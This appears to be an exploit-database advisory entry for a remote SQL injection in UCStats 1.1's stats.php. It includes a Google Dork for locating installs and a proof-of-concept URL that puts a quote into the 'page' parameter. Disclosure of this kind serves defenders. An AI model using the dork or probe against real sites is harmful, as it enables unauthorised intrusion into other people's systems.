UCStats 1.1 - SQL Injection

Author: Sora
type: webapps
platform: php
port: 
date_added: 2009-12-31 
date_updated:  
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comucstats-1.1.zip

> UCStats 1.1 Remote SQL Injection Vulnerability
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/
> Google Dork: "Powered by UCStats version 1.1"

# Vulnerability Description:
UCStats version 1.1 suffers a remote SQL injection vulnerability in stats.php.

# Code/Proof of Concept (PoC):
http://server/stats.php?game=cstrike&q=players&page=4'&sort=online&dir=asc